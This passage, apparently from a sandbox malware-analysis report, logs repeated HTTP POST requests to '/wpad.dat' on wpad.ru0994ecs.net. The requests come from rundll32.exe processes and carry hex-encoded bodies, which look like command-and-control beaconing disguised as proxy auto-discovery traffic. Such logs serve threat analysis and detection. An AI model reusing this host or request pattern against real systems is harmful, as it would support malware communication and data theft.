2024-04-16 13:36:10 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:11 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LL5I%2FFIUajktaI5F5kg8h9n78CJy6aoFyD9cvotkZsauX%2FSGoacIKhJAG3XIlmmuk%2BarKXidsHeIyYdQHIyDHkTK%2B1XBg7a%2FBtDctyZzSuU0L4QxXMtZpluzUUtij0qPVHhSe3E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490159c2d7bb7-ATL
2024-04-16 13:36:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	49767	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:11 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:11 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:11 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RSDN3d%2FbUl4tX5euo6ug%2BgqDJuziyJI%2BZWtdwbporpInaCr21wh%2FNQ0Sc6TLEZTQclGm7l5%2BdL98k9c4GWW8gORpVeMav1RBe332ed6t%2FSDy9aVE2azD1Nox9gkgJT0Ox7cYt6c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87549016ae6d69f3-ATL
2024-04-16 13:36:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	49768	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:11 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:11 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:11 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Pt%2FjMieBacgUTKoSGEH8oW2G4JRjkDzMsgq2hV5WkMpXTWS4f7ropzGKKbnv0PA%2Fov%2FuiHtOJO2WXl2%2BG8sHD2F4px3JGlesmL%2FYhGthSu6rkJ7N%2FO4pB9uG%2Boo0Na%2FmpyYvUE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754901729eb78c8-ATL
2024-04-16 13:36:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	49769	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:14 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:14 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:15 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UC2GHWZ%2Bg2zpbgXzoDagO95y3NtZJbRJ3TnVEuDUY2YhG0VCGTtWpK01p8MJoT96YeXaYrlF3b5QZjlUpWZQezy%2B6tKEtle%2BkmzARHbe1EobVZlpoGXy24kQZ6toj5n%2FJQRwMvo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754902d1a18674f-ATL
2024-04-16 13:36:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	49770	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:15 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:15 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:15 UTC	553	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F%2BNpVWKQ7bX0iUP%2Bs54QYIO51DlbQSItB7hV5vpVxXFK%2Fp9ecGDMWZrgiPOIW%2FZzxtf785Oksw1WHl%2BTFWm8V%2F9%2BLpE0VML4EC2zLFmSo%2BImT%2Bs5V04UbVWB3kaf2%2BnmQ%2Bo%2Biyc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490323b4f53aa-ATL
2024-04-16 13:36:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.8	49771	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:15 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:15 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:16 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HxRuG6BwYAejlPRlsGFY9BjnLpFw8hjil3EpXYVb1Csb6S%2F1BdbvpE%2F3dcvBVO2adu%2FEkrT0%2Bv53foBM4zIVEFPYnOq6aYXrgdRsH%2FAjA8mc%2BbMtBEVxenDZxhRqbpm3RT6u1Cc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87549033ba901395-ATL
2024-04-16 13:36:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.8	49772	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:16 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:16 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:16 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OmEtiQex8lYSk5m8kN14brDORtUkerN655w6oERQgifo92f0q4dP5%2Fjjcx1t7y%2BQeuHdeRejGbEk8FMMJlM6MlqPZF366BYcQ5tnY%2FRHgpO9UI9SgjSxh99nFphOBe9CytN0cUo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490362d31ad71-ATL
2024-04-16 13:36:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.8	49773	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:16 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:16 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:16 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vOG4aXe8pc4OovK2PvWQq%2BM2qiemGjQX5WD%2FkayBpQKZSmtlCDQfPwZF9N%2ByPE1ruVgMbqsNmW3%2BrusX2OGTwsGsDa2DcxWFBOoibBtbY3atGXmXSTG3Ev3co7yrZWmBClK1YMI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754903779114558-ATL
2024-04-16 13:36:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.8	49774	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:19 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:19 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:19 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UK%2FY9HLCmGlkmGuYrE2F0KI4r6mNZIdmBE8v1%2Bxf92VtYItj4np1CIdbs7vmtXU%2BdMFc%2F1q0fbl%2Fwyw4ggqA9mSKRr8raLgdUIjTFVOjt4hv3JJRMzop9hKeTZc98CU8uuitLU4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754904a083b53d5-ATL
2024-04-16 13:36:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.8	49775	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:19 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:19 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:20 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JBbYcY73wVAZpHqPiZmtGRncXOJG21q9wRsiJdpVoQVd6Xj7SzpImx6sse%2B4kviFJqpM4CzSYN%2FInOT%2BDq7rqEE%2BNYi4buN59ymu18rysxcyu3%2Fs%2F6lJEd2qut6MsFfGKf5fffs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754904c5850b0d9-ATL
2024-04-16 13:36:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.8	49776	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:19 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:19 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:20 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lxZs3G%2BiKSirhDL6iKR9l9uxU9IfU3iAuB0XbGxL0kW%2FGpx6nG1dmBJ6MxALKuuEts%2BYO5tkIHZx%2Bj9kR8FbC1XlgA1yZrG8gObQBaC%2BdA%2FwHNXF4nVaVPseEvutNlT2nDZV%2FIE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754904debfbad89-ATL
2024-04-16 13:36:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.8	49777	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:22 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:22 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:23 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kgz3t9f9tsg%2FKuuUS6ii32EIjkO9yqga7Ck1jZPJX%2BsbUeCHCO%2FZYYlaPK3Ho8lLba19KojYeI6HKaMlhVgROiJ68Z5GhmRPQ9UK0TSkr1p%2BN0n%2BeOisU93UU20kc9HLDDoBtSA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490608fa3ad92-ATL
2024-04-16 13:36:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.8	49778	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:23 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:23 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:23 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wn9sH44kUSjbbNqaef4LzglPw2dTEhY989iH2koD8v%2BIhaFdVF5PyzBUXz8MkRfPeg4mWj0hXb8FHMwZ0N2ePSwwK8MrslSaL0DgDujPdpT0LpsuGGN7nDM4fD19UpGkSVnSL0k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87549062ebec7cc6-ATL
2024-04-16 13:36:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.8	49779	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:23 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
